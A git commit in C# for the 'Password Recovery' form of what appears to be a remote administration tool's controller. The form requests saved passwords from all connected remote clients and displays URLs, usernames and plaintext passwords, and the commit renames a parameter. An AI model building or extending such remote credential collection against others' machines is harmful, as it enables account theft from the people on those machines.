<commit_before>﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using xServer.Core.Data;
using xServer.Core.Helper;
using xServer.Core.Networking;

namespace xServer.Forms
{
    public partial class FrmPasswordRecovery : Form
    {
        private readonly Client[] _clients;
        private readonly object _addingLock = new object();

        public FrmPasswordRecovery(Client[] connectedClients)
        {
            _clients = connectedClients;
            foreach (Client client in _clients)
            {
                if (client == null || client.Value == null) continue;
                client.Value.FrmPass = this;
            }

            InitializeComponent();
            this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length);

            txtFormat.Text = Settings.SaveFormat;
        }

        private void FrmPasswordRecovery_Load(object sender, EventArgs e)
        {
            RecoverPasswords();
        }

        private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e)
        {
            Settings.SaveFormat = txtFormat.Text;
            foreach (Client client in _clients)
            {
                if (client == null || client.Value == null) continue;
                client.Value.FrmPass = null;
            }
        }

        #region Public Members
        public void RecoverPasswords()
        {
            clearAllToolStripMenuItem_Click(null, null);

            var req = new Core.Packets.ServerPackets.GetPasswords();
            foreach (var client in _clients.Where(client => client != null))
                req.Execute(client);
        }

        public void AddPasswords(RecoveredAccount[] logins, string identification)
        {
            try
            {
                lock (_addingLock)
                {
                    var items = new List<ListViewItem>();

                    foreach (var login in logins)
                    {
                        var lvi = new ListViewItem { Tag = login, Text = identification };

                        lvi.SubItems.Add(login.URL); // URL
                        lvi.SubItems.Add(login.Username); // User
                        lvi.SubItems.Add(login.Password); // Pass

                        var lvg = GetGroupFromApplication(login.Application);

                        if (lvg == null) //Create new group
                        {
                            lvg = new ListViewGroup { Name = login.Application.Replace(" ", string.Empty), Header = login.Application };
                            this.Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
                        }

                        lvi.Group = lvg;
                        items.Add(lvi);
                    }

                    Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); }));
                    UpdateRecoveryCount();
                }

                if (logins.Length == 0)
                    MessageBox.Show("Could not recover anything!", "Password Recovery", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch
            {
            }
        }
        #endregion

        #region Private Members<commit_msg>Renamed logins to accounts<commit_after>﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using xServer.Core.Data;
using xServer.Core.Helper;
using xServer.Core.Networking;

namespace xServer.Forms
{
    public partial class FrmPasswordRecovery : Form
    {
        private readonly Client[] _clients;
        private readonly object _addingLock = new object();

        public FrmPasswordRecovery(Client[] connectedClients)
        {
            _clients = connectedClients;
            foreach (Client client in _clients)
            {
                if (client == null || client.Value == null) continue;
                client.Value.FrmPass = this;
            }

            InitializeComponent();
            this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length);

            txtFormat.Text = Settings.SaveFormat;
        }

        private void FrmPasswordRecovery_Load(object sender, EventArgs e)
        {
            RecoverPasswords();
        }

        private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e)
        {
            Settings.SaveFormat = txtFormat.Text;
            foreach (Client client in _clients)
            {
                if (client == null || client.Value == null) continue;
                client.Value.FrmPass = null;
            }
        }

        #region Public Members
        public void RecoverPasswords()
        {
            clearAllToolStripMenuItem_Click(null, null);

            var req = new Core.Packets.ServerPackets.GetPasswords();
            foreach (var client in _clients.Where(client => client != null))
                req.Execute(client);
        }

        public void AddPasswords(RecoveredAccount[] accounts, string identification)
        {
            try
            {
                lock (_addingLock)
                {
                    var items = new List<ListViewItem>();

                    foreach (var acc in accounts)
                    {
                        var lvi = new ListViewItem { Tag = acc, Text = identification };

                        lvi.SubItems.Add(acc.URL); // URL
                        lvi.SubItems.Add(acc.Username); // User
                        lvi.SubItems.Add(acc.Password); // Pass

                        var lvg = GetGroupFromApplication(acc.Application);

                        if (lvg == null) //Create new group
                        {
                            lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application };
                            this.Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
                        }

                        lvi.Group = lvg;
                        items.Add(lvi);
                    }

                    Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); }));
                    UpdateRecoveryCount();
                }

                if (accounts.Length == 0)
                    MessageBox.Show("Could not recover anything!", "Password Recovery", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch
            {
            }
        }
        #endregion

        #region Private Members
{'fraction_non_alphanumeric': 0.08815180038846557, 'fraction_numerical': 0.00029881966233378154, 'mean_word_length': 1.4996265870052279, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 11, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '5506885', 'n_tokens_mistral': 1667, 'n_tokens_neox': 1575, 'n_words': 376}